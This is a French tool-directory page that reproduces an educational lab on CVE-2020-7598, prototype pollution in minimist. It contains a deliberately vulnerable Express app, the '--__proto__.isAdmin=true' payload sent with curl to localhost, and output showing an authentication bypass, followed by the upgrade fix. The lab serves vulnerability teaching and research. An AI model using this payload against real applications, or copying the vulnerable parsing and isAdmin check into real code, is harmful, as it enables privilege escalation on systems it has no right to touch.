Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-7598 — Labo éducatif démontrant la pollution de prototype CVE-2020-7598 dans minimist avec une application vulnérable Node.js/Express, charge utile d'exploitation et procédure pas à pas de contournement d'authentification pour la recherche en sécurité. | Kitploit
Outils/GitHubGitHub/renewablehacking/cve-2020-7598
Analyse StatiqueAnalyse des VulnérabilitésAnalyse de CodeExploitation d'Applications WebApprentissage et ÉducationLabs et Pratique
GitHubrenewablehacking/cve-2020-7598

CVE-2020-7598

Labo éducatif démontrant la pollution de prototype CVE-2020-7598 dans minimist avec une application vulnérable Node.js/Express, charge utile d'exploitation et procédure pas à pas de contournement d'authentification pour la recherche en sécurité.

Voir le dépôt
1il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2020-7598 - Pollution de prototype dans minimist

Avertissement

Ce projet est créé uniquement pour :

  • l'apprentissage,
  • la recherche en sécurité,
  • et un laboratoire local privé.

Ne l'utilisez pas contre des systèmes sans autorisation.


À propos de CVE

CVE-2020-7598 est une vulnérabilité de pollution de prototype dans le package npm :

  • minimist
  • versions vulnérables :
    • < 0.2.1
    • >= 1.0.0 < 1.2.3

Cette vulnérabilité permet à un attaquant de modifier :

root@kitploit:~
Object.prototype

via une charge utile comme :

root@kitploit:~
--__proto__.isAdmin=true

Conséquences :

  • tous les objets JavaScript peuvent hériter de propriétés dangereuses,
  • contournement d'authentification,
  • élévation de privilèges,
  • jusqu'à une chaîne menant à une exécution de code à distance (RCE) dans certaines conditions.

  • Fonctionnement de la pollution de prototype

    En JavaScript :

    root@kitploit:~
    const user = {};
    

    un objet vide hérite toujours des propriétés de :

    root@kitploit:~
    Object.prototype
    

    Si un attaquant parvient à faire :

    root@kitploit:~
    Object.prototype.isAdmin = true;
    

    alors :

    root@kitploit:~
    ({}).isAdmin
    

    retournera :

    root@kitploit:~
    true
    

    pour tous les objets ordinaires.


    Environnement de laboratoire

    Dépendances

    • Node.js
    • Express
    • [email protected]

    Installation

    1. Cloner le dépôt

    root@kitploit:~
    https://github.com/renewablehacking/CVE-2020-7598.git
    cd CVE-2020-7598
    

    2. Installer les dépendances

    root@kitploit:~
    npm install
    

    OU manuellement :

    root@kitploit:~
    npm install express [email protected]
    

    Code source

    Créez le fichier :

    root@kitploit:~
    app.js
    

    Contenu :

    root@kitploit:~
    const express = require("express");
    const minimist = require("minimist");
    
    const app = express();
    
    /*
     Simulation de base de données utilisateur
    */
    const users = [
      {
        username: "zen",
        password: "123"
      }
    ];
    
    /*
     Point de terminaison vulnérable
    */
    app.get("/parse", (req, res) => {
    
        /*
          Récupérer la requête brute
        */
        const payload = req.query.payload;
    
        /*
          Convertir en tableau d'arguments CLI
        */
        const args = payload.split(" ");
    
        console.log("ARGS:", args);
    
        /*
          Analyse vulnérable
        */
        minimist(args);
    
        console.log("GLOBAL isAdmin:", {}.isAdmin);
    
        res.send("Arguments parsed");
    });
    
    /*
     Point de terminaison de connexion
    */
    app.post("/login", express.json(), (req, res) => {
    
        const { username, password } = req.body;
    
        const user = users.find(
            u =>
              u.username === username &&
              u.password === password
        );
    
        if(!user){
            return res.json({
                success: false
            });
        }
    
        console.log("Own property:", user.hasOwnProperty("isAdmin"));
        console.log("user.isAdmin:", user.isAdmin);
    
        /*
          Logique d'authentification vulnérable
        */
        if(user.isAdmin){
            return res.json({
                success: true,
                role: "ADMIN"
            });
        }
    
        res.json({
            success: true,
            role: "USER"
        });
    
    });
    
    app.listen(3000, () => {
        console.log("Server running on port 3000");
    });
    

    Lancer le serveur

    root@kitploit:~
    node app.js
    

    Sortie :

    root@kitploit:~
    Server running on port 3000
    

    Test normal

    Connexion normale

    root@kitploit:~
    curl -X POST http://localhost:3000/login \
    -H "Content-Type: application/json" \
    -d '{"username":"zen","password":"123"}'
    

    Sortie :

    root@kitploit:~
    {
      "success": true,
      "role": "USER"
    }
    

    Exploitation de CVE-2020-7598

    Charge utile de pollution de prototype

    Ouvrez le navigateur :

    root@kitploit:~
    http://localhost:3000/parse?payload=--__proto__.isAdmin=true
    

    OU utilisez curl :

    root@kitploit:~
    curl "http://localhost:3000/parse?payload=--__proto__.isAdmin=true"
    

    Résultat de l'exploitation

    Terminal du serveur :

    root@kitploit:~
    GLOBAL isAdmin: true
    

    Cela signifie que :

    root@kitploit:~
    Object.prototype.isAdmin = true
    

    a été modifié avec succès.


    Connexion après exploitation

    root@kitploit:~
    curl -X POST http://localhost:3000/login \
    -H "Content-Type: application/json" \
    -d '{"username":"zen","password":"123"}'
    

    Sortie :

    root@kitploit:~
    {
      "success": true,
      "role": "ADMIN"
    }
    

    Pourtant :

    • la base de données n'a pas changé,
    • le code source n'a pas changé,
    • l'utilisateur ne possède pas la propriété isAdmin.

    Pourquoi devient-on ADMIN ?

    Le code suivant :

    root@kitploit:~
    if(user.isAdmin)
    

    ne vérifie pas seulement la propriété directe de l'objet.

    JavaScript va chercher :

    1. la propriété propre de l'objet,
    2. puis la chaîne de prototypes.

    Comme l'attaquant a réussi à modifier :

    root@kitploit:~
    Object.prototype.isAdmin = true
    

    tous les objets ordinaires héritent de cette propriété.


    Preuve de la pollution de prototype

    Log du serveur :

    root@kitploit:~
    Own property: false
    user.isAdmin: true
    

    Signification :

    • isAdmin n'est pas une propriété propre de l'utilisateur,
    • mais héritée du prototype global.

    Correctif

    Version sécurisée de minimist :

    root@kitploit:~
    npm install minimist@latest
    

    La version corrigée bloque :

    • __proto__
    • constructor
    • prototype

    ainsi la pollution de prototype n'est plus possible.


    Références

    • CVE : CVE-2020-7598
    • Package : minimist
    • CWE : CWE-1321 Pollution de prototype

    Auteur

    Le laboratoire et la documentation ont été créés à des fins d'apprentissage sur la sécurité des applications Node.js et la recherche sur la pollution de prototype.

    Télécharger l’outil